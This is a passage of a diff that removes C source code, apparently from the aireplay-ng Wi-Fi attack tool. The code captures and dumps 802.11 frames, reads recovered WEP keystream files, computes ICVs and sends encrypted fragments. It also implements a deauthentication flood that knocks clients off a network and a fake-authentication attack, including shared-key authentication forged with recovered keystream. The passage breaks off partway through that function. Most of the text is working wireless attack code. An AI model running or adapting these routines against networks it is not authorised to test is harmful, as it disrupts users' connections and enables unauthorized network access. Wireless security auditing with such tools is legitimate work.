-				/* remove the radiotap header */
-
-				n = *(unsigned short *) (h80211 + 2);
-
-				if (n <= 0 || n >= (int) *caplen) continue;
-
-				memcpy(tmpbuf, h80211, *caplen);
-				*caplen -= n;
-				memcpy(h80211, tmpbuf + n, *caplen);
-			}
-
-			if (dev.pfh_in.linktype == LINKTYPE_PPI_HDR)
-			{
-				/* remove the PPI header */
-
-				n = le16_to_cpu(*(unsigned short *) (h80211 + 2));
-
-				if (n <= 0 || n >= (int) *caplen) continue;
-
-				/* for a while Kismet logged broken PPI headers */
-				if (n == 24
-					&& le16_to_cpu(*(unsigned short *) (h80211 + 8)) == 2)
-					n = 32;
-
-				if (n <= 0 || n >= (int) *caplen) continue;
-
-				memcpy(tmpbuf, h80211, *caplen);
-				*caplen -= n;
-				memcpy(h80211, tmpbuf + n, *caplen);
-			}
-		}
-
-		nb_pkt_read++;
-
-		if (filter_packet(h80211, *caplen) != 0) continue;
-
-		if (opt.fast) break;
-
-		z = ((h80211[1] & 3) != 3) ? 24 : 30;
-		if ((h80211[0] & 0x80) == 0x80) /* QoS */
-			z += 2;
-
-		switch (h80211[1] & 3)
-		{
-			case 0:
-				mi_b = 16;
-				mi_s = 10;
-				mi_d = 4;
-				is_wds = 0;
-				break;
-			case 1:
-				mi_b = 4;
-				mi_s = 10;
-				mi_d = 16;
-				is_wds = 0;
-				break;
-			case 2:
-				mi_b = 10;
-				mi_s = 16;
-				mi_d = 4;
-				is_wds = 0;
-				break;
-			case 3:
-				mi_t = 10;
-				mi_r = 4;
-				mi_d = 16;
-				mi_s = 24;
-				is_wds = 1;
-				break; // WDS packet
-		}
-
-		printf("\n\n        Size: %d, FromDS: %d, ToDS: %d",
-			   *caplen,
-			   (h80211[1] & 2) >> 1,
-			   (h80211[1] & 1));
-
-		if ((h80211[0] & 0x0C) == 8 && (h80211[1] & 0x40) != 0)
-		{
-			//             if (is_wds) key_index_offset = 33; // WDS packets
-			//             have an additional MAC, so the key index is at byte
-			//             33
-			//             else key_index_offset = 27;
-			key_index_offset = z + 3;
-
-			if ((h80211[key_index_offset] & 0x20) == 0)
-				printf(" (WEP)");
-			else
-				printf(" (WPA)");
-		}
-
-		printf("\n\n");
-
-		if (is_wds)
-		{
-			printf("        Transmitter  =  %02X:%02X:%02X:%02X:%02X:%02X\n",
-				   h80211[mi_t],
-				   h80211[mi_t + 1],
-				   h80211[mi_t + 2],
-				   h80211[mi_t + 3],
-				   h80211[mi_t + 4],
-				   h80211[mi_t + 5]);
-
-			printf("           Receiver  =  %02X:%02X:%02X:%02X:%02X:%02X\n",
-				   h80211[mi_r],
-				   h80211[mi_r + 1],
-				   h80211[mi_r + 2],
-				   h80211[mi_r + 3],
-				   h80211[mi_r + 4],
-				   h80211[mi_r + 5]);
-		}
-		else
-		{
-			printf("              BSSID  =  %02X:%02X:%02X:%02X:%02X:%02X\n",
-				   h80211[mi_b],
-				   h80211[mi_b + 1],
-				   h80211[mi_b + 2],
-				   h80211[mi_b + 3],
-				   h80211[mi_b + 4],
-				   h80211[mi_b + 5]);
-		}
-
-		printf("          Dest. MAC  =  %02X:%02X:%02X:%02X:%02X:%02X\n",
-			   h80211[mi_d],
-			   h80211[mi_d + 1],
-			   h80211[mi_d + 2],
-			   h80211[mi_d + 3],
-			   h80211[mi_d + 4],
-			   h80211[mi_d + 5]);
-
-		printf("         Source MAC  =  %02X:%02X:%02X:%02X:%02X:%02X\n",
-			   h80211[mi_s],
-			   h80211[mi_s + 1],
-			   h80211[mi_s + 2],
-			   h80211[mi_s + 3],
-			   h80211[mi_s + 4],
-			   h80211[mi_s + 5]);
-
-		/* print a hex dump of the packet */
-
-		for (i = 0; i < *caplen; i++)
-		{
-			if ((i & 15) == 0)
-			{
-				if (i == 224)
-				{
-					printf("\n        --- CUT ---");
-					break;
-				}
-
-				printf("\n        0x%04x:  ", i);
-			}
-
-			printf("%02x", h80211[i]);
-
-			if ((i & 1) != 0) printf(" ");
-
-			if (i == *caplen - 1 && ((i + 1) & 15) != 0)
-			{
-				for (j = ((i + 1) & 15); j < 16; j++)
-				{
-					printf("  ");
-					if ((j & 1) != 0) printf(" ");
-				}
-
-				printf(" ");
-
-				for (j = 16 - ((i + 1) & 15); j < 16; j++)
-					printf("%c",
-						   (h80211[i - 15 + j] < 32 || h80211[i - 15 + j] > 126)
-							   ? '.'
-							   : h80211[i - 15 + j]);
-			}
-
-			if (i > 0 && ((i + 1) & 15) == 0)
-			{
-				printf(" ");
-
-				for (j = 0; j < 16; j++)
-					printf("%c",
-						   (h80211[i - 15 + j] < 32 || h80211[i - 15 + j] > 127)
-							   ? '.'
-							   : h80211[i - 15 + j]);
-			}
-		}
-
-		printf("\n\nUse this packet ? ");
-		fflush(stdout);
-		ret = 0;
-		while (!ret) ret = scanf("%1s", tmpbuf);
-		printf("\n");
-
-		if (tmpbuf[0] == 'y' || tmpbuf[0] == 'Y') break;
-	}
-
-	if (!just_grab)
-	{
-		pfh_out.magic = TCPDUMP_MAGIC;
-		pfh_out.version_major = PCAP_VERSION_MAJOR;
-		pfh_out.version_minor = PCAP_VERSION_MINOR;
-		pfh_out.thiszone = 0;
-		pfh_out.sigfigs = 0;
-		pfh_out.snaplen = 65535;
-		pfh_out.linktype = LINKTYPE_IEEE802_11;
-
-		lt = localtime((const time_t *) &tv.tv_sec);
-
-		memset(strbuf, 0, sizeof(strbuf));
-		snprintf(strbuf,
-				 sizeof(strbuf) - 1,
-				 "replay_src-%02d%02d-%02d%02d%02d.cap",
-				 lt->tm_mon + 1,
-				 lt->tm_mday,
-				 lt->tm_hour,
-				 lt->tm_min,
-				 lt->tm_sec);
-
-		printf("Saving chosen packet in %s\n", strbuf);
-
-		if ((f_cap_out = fopen(strbuf, "wb+")) == NULL)
-		{
-			perror("fopen failed");
-			return (1);
-		}
-
-		n = sizeof(struct pcap_file_header);
-
-		if (fwrite(&pfh_out, n, 1, f_cap_out) != 1)
-		{
-			fclose(f_cap_out);
-			perror("fwrite failed\n");
-			return (1);
-		}
-
-		pkh.tv_sec = tv.tv_sec;
-		pkh.tv_usec = tv.tv_usec;
-		pkh.caplen = *caplen;
-		pkh.len = *caplen;
-
-		n = sizeof(pkh);
-
-		if (fwrite(&pkh, n, 1, f_cap_out) != 1)
-		{
-			fclose(f_cap_out);
-			perror("fwrite failed");
-			return (1);
-		}
-
-		n = pkh.caplen;
-
-		if (fwrite(h80211, n, 1, f_cap_out) != 1)
-		{
-			fclose(f_cap_out);
-			perror("fwrite failed");
-			return (1);
-		}
-
-		fclose(f_cap_out);
-	}
-
-	return (0);
-}
-
-static int read_prga(unsigned char ** dest, char * file)
-{
-	FILE * f;
-	int size;
-
-	if (file == NULL) return (1);
-	if (*dest == NULL) *dest = (unsigned char *) malloc(1501);
-
-	f = fopen(file, "r");
-
-	if (f == NULL)
-	{
-		printf("Error opening %s\n", file);
-		return (1);
-	}
-
-	fseek(f, 0, SEEK_END);
-	size = ftell(f);
-	if (size == -1)
-	{
-		fclose(f);
-		fprintf(stderr, "ftell failed\n");
-		return (1);
-	}
-	rewind(f);
-
-	if (size > 1500) size = 1500;
-
-	if (fread((*dest), size, 1, f) != 1)
-	{
-		fclose(f);
-		fprintf(stderr, "fread failed\n");
-		return (1);
-	}
-
-	opt.prgalen = size;
-
-	fclose(f);
-	return (0);
-}
-
-static void add_icv(unsigned char * input, int len, int offset)
-{
-	unsigned long crc = 0xFFFFFFFF;
-	int n = 0;
-
-	for (n = offset; n < len; n++)
-		crc = crc_tbl[(crc ^ input[n]) & 0xFF] ^ (crc >> 8);
-
-	crc = ~crc;
-
-	input[len] = (crc) &0xFF;
-	input[len + 1] = (crc >> 8) & 0xFF;
-	input[len + 2] = (crc >> 16) & 0xFF;
-	input[len + 3] = (crc >> 24) & 0xFF;
-
-	return;
-}
-
-static void send_fragments(unsigned char * packet,
-						   int packet_len,
-						   unsigned char * iv,
-						   unsigned char * keystream,
-						   int fragsize,
-						   int ska)
-{
-	int t, u;
-	int data_size;
-	unsigned char frag[32 + fragsize];
-	int pack_size;
-	int header_size = 24;
-
-	data_size = packet_len - header_size;
-	packet[23] = (rand() % 0xFF);
-
-	for (t = 0; t += fragsize;)
-	{
-
-		// Copy header
-		memcpy(frag, packet, header_size);
-
-		// Copy IV + KeyIndex
-		memcpy(frag + header_size, iv, 4);
-
-		// Copy data
-		if (fragsize <= packet_len - (header_size + t - fragsize))
-			memcpy(frag + header_size + 4,
-				   packet + header_size + t - fragsize,
-				   fragsize);
-		else
-			memcpy(frag + header_size + 4,
-				   packet + header_size + t - fragsize,
-				   packet_len - (header_size + t - fragsize));
-
-		// Make ToDS frame
-		if (!ska)
-		{
-			frag[1] |= 1;
-			frag[1] &= 253;
-		}
-
-		// Set fragment bit
-		if (t < data_size) frag[1] |= 4;
-		if (t >= data_size) frag[1] &= 251;
-
-		// Fragment number
-		frag[22] = 0;
-		for (u = t; u -= fragsize;)
-		{
-			frag[22] += 1;
-		}
-		//        frag[23] = 0;
-
-		// Calculate packet length
-		if (fragsize <= packet_len - (header_size + t - fragsize))
-			pack_size = header_size + 4 + fragsize;
-		else
-			pack_size
-				= header_size + 4 + (packet_len - (header_size + t - fragsize));
-
-		// Add ICV
-		add_icv(frag, pack_size, header_size + 4);
-		pack_size += 4;
-
-		// Encrypt
-		xor_keystream(frag + header_size + 4, keystream, fragsize + 4);
-
-		// Send
-		send_packet(frag, pack_size);
-		if (t < data_size) usleep(100);
-
-		if (t >= data_size) break;
-	}
-}
-
-static int do_attack_deauth(void)
-{
-	int i, n;
-	int aacks, sacks, caplen;
-	struct timeval tv;
-	fd_set rfds;
-
-	if (getnet(NULL, 0, 1) != 0) return 1;
-
-	if (memcmp(opt.r_dmac, NULL_MAC, 6) == 0)
-		printf("NB: this attack is more effective when targeting\n"
-			   "a connected wireless client (-c <client's mac>).\n");
-
-	n = 0;
-
-	while (1)
-	{
-		if (opt.a_count > 0 && ++n > opt.a_count) break;
-
-		usleep(180000);
-
-		if (memcmp(opt.r_dmac, NULL_MAC, 6) != 0)
-		{
-			/* deauthenticate the target */
-
-			memcpy(h80211, DEAUTH_REQ, 26);
-			memcpy(h80211 + 16, opt.r_bssid, 6);
-
-			/* add the deauth reason code */
-			h80211[24] = opt.deauth_rc;
-
-			aacks = 0;
-			sacks = 0;
-			for (i = 0; i < 64; i++)
-			{
-				if (i == 0)
-				{
-					PCT;
-					printf("Sending 64 directed DeAuth (code %i). STMAC:"
-						   " [%02X:%02X:%02X:%02X:%02X:%02X] [%2d|%2d ACKs]\r",
-						   opt.deauth_rc,
-						   opt.r_dmac[0],
-						   opt.r_dmac[1],
-						   opt.r_dmac[2],
-						   opt.r_dmac[3],
-						   opt.r_dmac[4],
-						   opt.r_dmac[5],
-						   sacks,
-						   aacks);
-				}
-
-				memcpy(h80211 + 4, opt.r_dmac, 6);
-				memcpy(h80211 + 10, opt.r_bssid, 6);
-
-				if (send_packet(h80211, 26) < 0) return (1);
-
-				usleep(2000);
-
-				memcpy(h80211 + 4, opt.r_bssid, 6);
-				memcpy(h80211 + 10, opt.r_dmac, 6);
-
-				if (send_packet(h80211, 26) < 0) return (1);
-
-				usleep(2000);
-
-				while (1)
-				{
-					FD_ZERO(&rfds);
-					FD_SET(dev.fd_in, &rfds);
-
-					tv.tv_sec = 0;
-					tv.tv_usec = 1000;
-
-					if (select(dev.fd_in + 1, &rfds, NULL, NULL, &tv) < 0)
-					{
-						if (errno == EINTR) continue;
-						perror("select failed");
-						return (1);
-					}
-
-					if (!FD_ISSET(dev.fd_in, &rfds)) break;
-
-					caplen = read_packet(tmpbuf, sizeof(tmpbuf), NULL);
-
-					if (caplen <= 0) break;
-					if (caplen != 10) continue;
-					if (tmpbuf[0] == 0xD4)
-					{
-						if (memcmp(tmpbuf + 4, opt.r_dmac, 6) == 0)
-						{
-							aacks++;
-						}
-						if (memcmp(tmpbuf + 4, opt.r_bssid, 6) == 0)
-						{
-							sacks++;
-						}
-						PCT;
-						printf(
-							"Sending 64 directed DeAuth (code %i). STMAC:"
-							" [%02X:%02X:%02X:%02X:%02X:%02X] [%2d|%2d ACKs]\r",
-							opt.deauth_rc,
-							opt.r_dmac[0],
-							opt.r_dmac[1],
-							opt.r_dmac[2],
-							opt.r_dmac[3],
-							opt.r_dmac[4],
-							opt.r_dmac[5],
-							sacks,
-							aacks);
-					}
-				}
-			}
-			printf("\n");
-		}
-		else
-		{
-			/* deauthenticate all stations */
-
-			PCT;
-			printf("Sending DeAuth (code %i) to broadcast -- BSSID:"
-				   " [%02X:%02X:%02X:%02X:%02X:%02X]\n",
-				   opt.deauth_rc,
-				   opt.r_bssid[0],
-				   opt.r_bssid[1],
-				   opt.r_bssid[2],
-				   opt.r_bssid[3],
-				   opt.r_bssid[4],
-				   opt.r_bssid[5]);
-
-			memcpy(h80211, DEAUTH_REQ, 26);
-			h80211[24] = opt.deauth_rc;
-
-			memcpy(h80211 + 4, BROADCAST, 6);
-			memcpy(h80211 + 10, opt.r_bssid, 6);
-			memcpy(h80211 + 16, opt.r_bssid, 6);
-
-			for (i = 0; i < 128; i++)
-			{
-				if (send_packet(h80211, 26) < 0) return (1);
-
-				usleep(2000);
-			}
-		}
-	}
-
-	return (0);
-}
-
-static int do_attack_fake_auth(void)
-{
-	time_t tt, tr;
-	struct timeval tv, tv2, tv3;
-
-	fd_set rfds;
-	int i, n, state, caplen, z;
-	int mi_b, mi_s, mi_d;
-	int x_send;
-	int kas;
-	int tries;
-	int retry = 0;
-	int abort;
-	int gotack = 0;
-	unsigned char capa[2];
-	int deauth_wait = 3;
-	int ska = 0;
-	int keystreamlen = 0;
-	int challengelen = 0;
-	int weight[16];
-	int notice = 0;
-	int packets = 0;
-	int aid = 0;
-
-	unsigned char ackbuf[14];
-	unsigned char ctsbuf[10];
-	unsigned char iv[4];
-	unsigned char challenge[2048];
-	unsigned char keystream[2048];
-
-	memset(iv, 0, sizeof(iv));
-
-	if (memcmp(opt.r_smac, NULL_MAC, 6) == 0)
-	{
-		printf("Please specify a source MAC (-h).\n");
-		return (1);
-	}
-
-	if (getnet(capa, 0, 1) != 0) return 1;
-
-	if (verifyssid((const unsigned char *) opt.r_essid) == 0)
-	{
-		printf("Please specify an ESSID (-e).\n");
-		return 1;
-	}
-
-	memcpy(ackbuf, "\xD4\x00\x00\x00", 4);
-	memcpy(ackbuf + 4, opt.r_bssid, 6);
-	memset(ackbuf + 10, 0, 4);
-
-	memcpy(ctsbuf, "\xC4\x00\x94\x02", 4);
-	memcpy(ctsbuf + 4, opt.r_bssid, 6);
-
-	tries = 0;
-	abort = 0;
-	state = 0;
-	x_send = opt.npackets;
-	if (opt.npackets == 0) x_send = 4;
-
-	if (opt.prga != NULL) ska = 1;
-
-	tt = time(NULL);
-	tr = time(NULL);
-
-	while (1)
-	{
-		switch (state)
-		{
-			case 0:
-				if (opt.f_retry > 0)
-				{
-					if (retry == opt.f_retry)
-					{
-						abort = 1;
-						return 1;
-					}
-					++retry;
-				}
-
-				if (ska && keystreamlen == 0)
-				{
-					opt.fast = 1; // don't ask for approval
-					memcpy(opt.f_bssid,
-						   opt.r_bssid,
-						   6); // make the filter bssid the same, that is used
-					// for auth'ing
-					if (opt.prga == NULL)
-					{
-						while (keystreamlen < 16)
-						{
-							capture_ask_packet(&caplen,
-											   1); // wait for data packet
-							z = ((h80211[1] & 3) != 3) ? 24 : 30;
-							if ((h80211[0] & 0x80) == 0x80) /* QoS */
-								z += 2;
-
-							memcpy(iv, h80211 + z, 4); // copy IV+IDX
-							i = known_clear(keystream,
-											&keystreamlen,
-											weight,
-											h80211,
-											caplen - z - 4
-												- 4); // recover first bytes
-							if (i > 1)
-							{
-								keystreamlen = 0;
-							}
-							for (i = 0; i < keystreamlen; i++)
-								keystream[i] ^= h80211[i + z + 4];
-						}
-					}
-					else
-					{
-						keystreamlen = opt.prgalen - 4;
-						memcpy(iv, opt.prga, 4);
-						memcpy(keystream, opt.prga + 4, keystreamlen);
-					}
-				}
-
-				state = 1;
-				tt = time(NULL);
-
-				/* attempt to authenticate */
-
-				memcpy(h80211, AUTH_REQ, 30);
-				memcpy(h80211 + 4, opt.r_bssid, 6);
-				memcpy(h80211 + 10, opt.r_smac, 6);
-				memcpy(h80211 + 16, opt.r_bssid, 6);
-				if (ska) h80211[24] = 0x01;
-
-				printf("\n");
-				PCT;
-				printf("Sending Authentication Request");
-				if (!ska)
-					printf(" (Open System)");
-				else
-					printf(" (Shared Key)");
-				fflush(stdout);
-				gotack = 0;
-
-				for (i = 0; i < x_send; i++)
-				{
-					if (send_packet(h80211, 30) < 0) return (1);
-
-					usleep(10);
-
-					if (send_packet(ackbuf, 14) < 0) return (1);
-					usleep(10);
-
-					if (send_packet(ackbuf, 14) < 0) return (1);
-				}
-
-				break;
-
-			case 1:
-
-				/* waiting for an authentication response */
-
-				if (time(NULL) - tt >= 2)
-				{
-					if (opt.npackets > 0)
-					{
-						tries++;
-
-						if (tries > 15)
-						{
-							abort = 1;
-						}
-					}
-					else
-					{
-						if (x_send < 256)
-						{
-							x_send *= 2;
-						}
-						else
-						{
-							abort = 1;
-						}
-					}
-
-					if (abort)
-					{
-						printf(
-							"\nAttack was unsuccessful. Possible reasons:\n\n"
-							"    * Perhaps MAC address filtering is enabled.\n"
-							"    * Check that the BSSID (-a option) is "
-							"correct.\n"
-							"    * Try to change the number of packets (-o "
-							"option).\n"
-							"    * The driver/card doesn't support injection.\n"
-							"    * This attack sometimes fails against some "
-							"APs.\n"
-							"    * The card is not on the same channel as the "
-							"AP.\n"
-							"    * You're too far from the AP. Get closer, or "
-							"lower\n"
-							"      the transmit rate.\n\n");
-						return (1);
-					}
-
-					state = 0;
-					challengelen = 0;
-					printf("\n");
-				}
-
-				break;
-
-			case 2:
-
-				state = 3;
-				tt = time(NULL);
-
-				/* attempt to authenticate using ska */
-
-				memcpy(h80211, AUTH_REQ, 30);
-				memcpy(h80211 + 4, opt.r_bssid, 6);
-				memcpy(h80211 + 10, opt.r_smac, 6);
-				memcpy(h80211 + 16, opt.r_bssid, 6);
-				h80211[1] |= 0x40; // set wep bit, as this frame is encrypted
-				memcpy(h80211 + 24, iv, 4);
-				memcpy(h80211 + 28, challenge, challengelen);
-				h80211[28] = 0x01; // its always ska in state==2
-				h80211[30] = 0x03; // auth sequence number 3
-				fflush(stdout);
-
-				if (keystreamlen < challengelen + 4 && notice == 0)
-				{
-					notice = 1;
-					if (opt.prga != NULL)
-					{
-						PCT;
-						printf("Specified xor file (-y) is too short, you need "
-							   "at least %d keystreambytes.\n",
-							   challengelen + 4);
-					}
-					else
-					{
-						PCT;
-						printf("You should specify a xor file (-y) with at "
-							   "least %d keystreambytes\n",
-							   challengelen + 4);
-					}
-					PCT;
-					printf("Trying fragmented shared key fake auth.\n");
-				}
-				PCT;
-				printf("Sending encrypted challenge.");
-				fflush(stdout);
-				gotack = 0;
-				gettimeofday(&tv2, NULL);
-
-				for (i = 0; i < x_send; i++)
-				{
-					if (keystreamlen < challengelen + 4)
-					{
-						packets = (challengelen) / (keystreamlen - 4);
-						if ((challengelen) % (keystreamlen - 4) != 0) packets++;
-
-						memcpy(h80211 + 24, challenge, challengelen);
-						h80211[24] = 0x01;
-						h80211[26] = 0x03;
-						send_fragments(h80211,
-									   challengelen + 24,
-									   iv,
-									   keystream,
-									   keystreamlen - 4,
-									   1);
-					}
-					else
-					{
-						add_icv(h80211, challengelen + 28, 28);
-						xor_keystream(h80211 + 28, keystream, challengelen + 4);
-						send_packet(h80211, 24 + 4 + challengelen + 4);
-					}
-
-					if (send_packet(ackbuf, 14) < 0) return (1);
-					usleep(10);
-
-					if (send_packet(ackbuf, 14) < 0) return (1);
-				}
-
-				break;
-
-			case 3:
-
-				/* waiting for an authentication response (using ska) */
-
-				if (time(NULL) - tt >= 2)
-				{
-					if (opt.npackets > 0)
-					{
-						tries++;
-
-						if (tries > 15)
-						{
-							abort = 1;
-						}
-					}
-					else
-					{
-						if (x_send < 256)
-						{
-							x_send *= 2;
-						}
-						else
-						{
-							abort = 1;
-						}
-					}
-
-					if (abort)
-					{
-						printf(
-							"\nAttack was unsuccessful. Possible reasons:\n\n"
-							"    * Perhaps MAC address filtering is enabled.\n"
-							"    * Check that the BSSID (-a option) is "
-							"correct.\n"
-							"    * Try to change the number of packets (-o "
-							"option).\n"
-							"    * The driver/card doesn't support injection.\n"
-							"    * This attack sometimes fails against some "
-							"APs.\n"
-							"    * The card is not on the same channel as the "
-							"AP.\n"
-							"    * You're too far from the AP. Get closer, or "
-							"lower\n"
-							"      the transmit rate.\n\n");
-						return (1);
-					}
-
-					state = 0;
-					challengelen = 0;
-					printf("\n");
-				}
-
-				break;
-
-			case 4:
-
-				tries = 0;
-				state = 5;
-				if (opt.npackets == -1) x_send *= 2;
-				tt = time(NULL);
-
-				/* attempt to associate */
-
-				memcpy(h80211, ASSOC_REQ, 28);
-				memcpy(h80211 + 4, opt.r_bssid, 6);
-				memcpy(h80211 + 10, opt.r_smac, 6);
-				memcpy(h80211 + 16, opt.r_bssid, 6);
-
-				n = strlen(opt.r_essid);
-				if (n > 32) n = 32;
-
-				h80211[28] = 0x00;
-				h80211[29] = n;
-
-				memcpy(h80211 + 30, opt.r_essid, n);
-				memcpy(h80211 + 30 + n, RATES, 16);
-				memcpy(h80211 + 24, capa, 2);
-
-				PCT;
-				printf("Sending Association Request");
-				fflush(stdout);
-				gotack = 0;
-
-				for (i = 0; i < x_send; i++)
-				{
-					if (send_packet(h80211, 46 + n) < 0) return (1);
-
-					usleep(10);
-
-					if (send_packet(ackbuf, 14) < 0) return (1);
-					usleep(10);
-
-					if (send_packet(ackbuf, 14) < 0) return (1);
-				}
-
-				break;
-
-			case 5:
-
-				/* waiting for an association response */
-
-				if (time(NULL) - tt >= 5)
-				{
-					if (x_send < 256 && (opt.npackets == -1)) x_send *= 4;
-
-					state = 0;
-					challengelen = 0;
-					printf("\n");
-				}
-
-				break;
-
-			case 6:
-
-				if (opt.a_delay == 0 && opt.reassoc == 0)
-				{
-					printf("\n");
-					return (0);
-				}
-
-				if (opt.a_delay == 0 && opt.reassoc == 1)
-				{
-					if (opt.npackets == -1) x_send = 4;
-					state = 7;
-					challengelen = 0;
-					break;
-				}
-
-				if (time(NULL) - tt >= opt.a_delay)
-				{
-					if (opt.npackets == -1) x_send = 4;
-					if (opt.reassoc == 1)
-						state = 7;
-					else
-						state = 0;
-					challengelen = 0;
-					break;
-				}
-
-				if (time(NULL) - tr >= opt.delay)
-				{
-					tr = time(NULL);
-					printf("\n");
-					PCT;
-					printf("Sending keep-alive packet");
-					fflush(stdout);
-					gotack = 0;
-
-					memcpy(h80211, NULL_DATA, 24);
-					memcpy(h80211 + 4, opt.r_bssid, 6);
-					memcpy(h80211 + 10, opt.r_smac, 6);
-					memcpy(h80211 + 16, opt.r_bssid, 6);
-
-					if (opt.npackets > 0)
-						kas = opt.npackets;
-					else
-						kas = 32;
-
-					for (i = 0; i < kas; i++)
-						if (send_packet(h80211, 24) < 0) return (1);
-				}
-
-				break;
-
-			case 7:
-
-				/* sending reassociation request */
-
-				tries = 0;
-				state = 8;
-				if (opt.npackets == -1) x_send *= 2;
-				tt = time(NULL);
-
-				/* attempt to reassociate */
-
-				memcpy(h80211, REASSOC_REQ, 34);
-				memcpy(h80211 + 4, opt.r_bssid, 6);
-				memcpy(h80211 + 10, opt.r_smac, 6);
-				memcpy(h80211 + 16, opt.r_bssid, 6);
-
-				n = strlen(opt.r_essid);
-				if (n > 32) n = 32;
-
-				h80211[34] = 0x00;
-				h80211[35] = n;
-
-				memcpy(h80211 + 36, opt.r_essid, n);
-				memcpy(h80211 + 36 + n, RATES, 16);
-				memcpy(h80211 + 30, capa, 2);
-
-				PCT;
-				printf("Sending Reassociation Request");
-				fflush(stdout);
-				gotack = 0;
-
-				for (i = 0; i < x_send; i++)
-				{
-					if (send_packet(h80211, 52 + n) < 0) return (1);
-
-					usleep(10);
-
-					if (send_packet(ackbuf, 14) < 0) return (1);
-					usleep(10);
-
-					if (send_packet(ackbuf, 14) < 0) return (1);
-				}
-
-				break;
-
-			case 8:
-
-				/* waiting for a reassociation response */
-
-				if (time(NULL) - tt >= 5)
-				{
-					if (x_send < 256 && (opt.npackets == -1)) x_send *= 4;
-
-					state = 7;
-					challengelen = 0;
-					printf("\n");
-				}
-
-				break;
-
-			default:
-				break;
-		}
-
-		/* read one frame */
-
-		FD_ZERO(&rfds);
-		FD_SET(dev.fd_in, &rfds);
-
-		tv.tv_sec = 1;
-		tv.tv_usec = 0;
-
-		if (select(dev.fd_in + 1, &rfds, NULL, NULL, &tv) < 0)
-		{
-			if (errno == EINTR) continue;
-			perror("select failed");
-			return (1);
-		}
-
-		if (!FD_ISSET(dev.fd_in, &rfds)) continue;
-
-		caplen = read_packet(h80211, sizeof(h80211), NULL);
-
-		if (caplen < 0) return (1);
-		if (caplen == 0) continue;
-
-		if (caplen == 10 && h80211[0] == 0xD4)
-		{
-			if (memcmp(h80211 + 4, opt.r_smac, 6) == 0)
-			{
-				gotack++;
-				if (gotack == 1)
-				{
-					printf(" [ACK]");
-					fflush(stdout);
-				}
-			}
-		}
-
-		gettimeofday(&tv3, NULL);
-
-		// wait 100ms for acks
-		if ((((tv3.tv_sec * 1000000 - tv2.tv_sec * 1000000)
-			  + (tv3.tv_usec - tv2.tv_usec))
-			 > (100 * 1000))
-			&& (gotack > 0)
-			&& (gotack < packets)
-			&& (state == 3)
-			&& (packets > 1))
-		{
-			PCT;
-			printf("Not enough acks, repeating...\n");
-			state = 2;
-			continue;
-		}
-
-		if (caplen < 24) continue;
-
-		switch (h80211[1] & 3)
-		{
-			case 0:
-				mi_b = 16;
-				mi_s = 10;
-				mi_d = 4;
-				break;
-			case 1:
-				mi_b = 4;
-				mi_s = 10;
-				mi_d = 16;
-				break;
-			case 2:
-				mi_b = 10;
-				mi_s = 16;
-				mi_d = 4;
-				break;
-			default:
-				mi_b = 10;
-				mi_d = 16;
-				mi_s = 24;
-				break;
-		}
-
-		/* check if the dest. MAC is ours and source == AP */
-
-		if (memcmp(h80211 + mi_d, opt.r_smac, 6) == 0
-			&& memcmp(h80211 + mi_b, opt.r_bssid, 6) == 0
-			&& memcmp(h80211 + mi_s, opt.r_bssid, 6) == 0)
-		{
-			/* check if we got an deauthentication packet */
-
-			if (h80211[0] == 0xC0) // removed && state == 4
-			{
-				printf("\n");
-				PCT;
-				printf("Got a deauthentication packet! (Waiting %d seconds)\n",
-					   deauth_wait);
-				if (opt.npackets == -1) x_send = 4;
-				state = 0;
-				challengelen = 0;
-				read_sleep(deauth_wait * 1000000UL);
-				deauth_wait += 2;
-				continue;
-			}
-
-			/* check if we got an disassociation packet */
-
-			if (h80211[0] == 0xA0 && state == 6)
-			{
-				printf("\n");
-				PCT;
-				printf("Got a disassociation packet! (Waiting %d seconds)\n",
-					   deauth_wait);
-				if (opt.npackets == -1) x_send = 4;
-				state = 0;
-				challengelen = 0;
-				read_sleep(deauth_wait);
-				deauth_wait += 2;
-				continue;
-			}
-
-			/* check if we got an authentication response */
-
-			if (h80211[0] == 0xB0 && (state == 1 || state == 3))
-			{
-				if (ska)
-				{
-					if ((state == 1 && h80211[26] != 0x02)
-						|| (state == 3 && h80211[26] != 0x04))
-						continue;
-				}
-
-				printf("\n");
-				PCT;
-
-				state = 0;
-
-				if (caplen < 30)
-				{
-					printf("Error: packet length < 30 bytes\n");
-					read_sleep(3 * 1000000);
-					challengelen = 0;
-					continue;
-				}
-
-				if ((h80211[24] != 0 || h80211[25] != 0) && ska == 0)
-				{
-					ska = 1;
-					printf("Switching to shared key authentication\n");
-					read_sleep(2 * 1000000); // read sleep 2s
-					challengelen = 0;
-					continue;
-				}
-
-				n = h80211[28] + (h80211[29] << 8);
-
-				if (n != 0)
-				{
-					switch (n)
-					{
-						case 1:
-							printf("AP rejects the source MAC address "
-								   "(%02X:%02X:%02X:%02X:%02X:%02X) ?\n",
-								   opt.r_smac[0],
-								   opt.r_smac[1],
-								   opt.r_smac[2],
-								   opt.r_smac[3],
-								   opt.r_smac[4],
-								   opt.r_smac[5]);
-							break;
-
-						case 10:
-							printf("AP rejects our capabilities\n");
-							break;
-
-						case 13:
-						case 15:
-							ska = 1;
-							if (h80211[26] == 0x02)
-								printf(
-									"Switching to shared key authentication\n");
-							if (h80211[26] == 0x04)
-							{
-								printf("Challenge failure\n");
-								challengelen = 0;
-							}
-							read_sleep(2 * 1000000); // read sleep 2s
-							challengelen = 0;
-							continue;
-						default:
-							break;
-					}
-
-					printf("Authentication failed (code %d)\n", n);
-					if (opt.npackets == -1) x_send = 4;
-					read_sleep(3 * 1000000);
-					challengelen = 0;
-					continue;
-				}
-
-				if (ska && h80211[26] == 0x02 && challengelen == 0)
-				{
-					memcpy(challenge, h80211 + 24, caplen - 24);
-					challengelen = caplen - 24;
-				}
-				if (ska)
-				{
-					if (h80211[26] == 0x02)
-					{
-						state = 2; /* grab challenge */
-						printf("Authentication 1/2 successful\n");
-					}
-					if (h80211[26] == 0x04)
-					{
-						state = 4;
-						printf("Authentication 2/2 successful\n");
-					}
-				}
-				else
-				{
-					printf("Authentication successful\n");
-					state = 4; /* auth. done */
-				}
-			}
-
-			/* check if we got an association response */
-
-			if (h80211[0] == 0x10 && state == 5)
-			{
-				printf("\n");
-				state = 0;
-				PCT;
-
-				if (caplen < 30)
-				{
-					printf("Error: packet length < 30 bytes\n");
-					sleep(3);
-					challengelen = 0;
-					continue;
-				}
-
-				n = h80211[26] + (h80211[27] << 8);
-
-				if (n != 0)
-				{
-					switch (n)
-					{
-						case 1:
-							printf("Denied (code  1), is WPA in use ?\n");
-							break;
-
-						case 10:
-							printf("Denied (code 10), open (no WEP) ?\n");
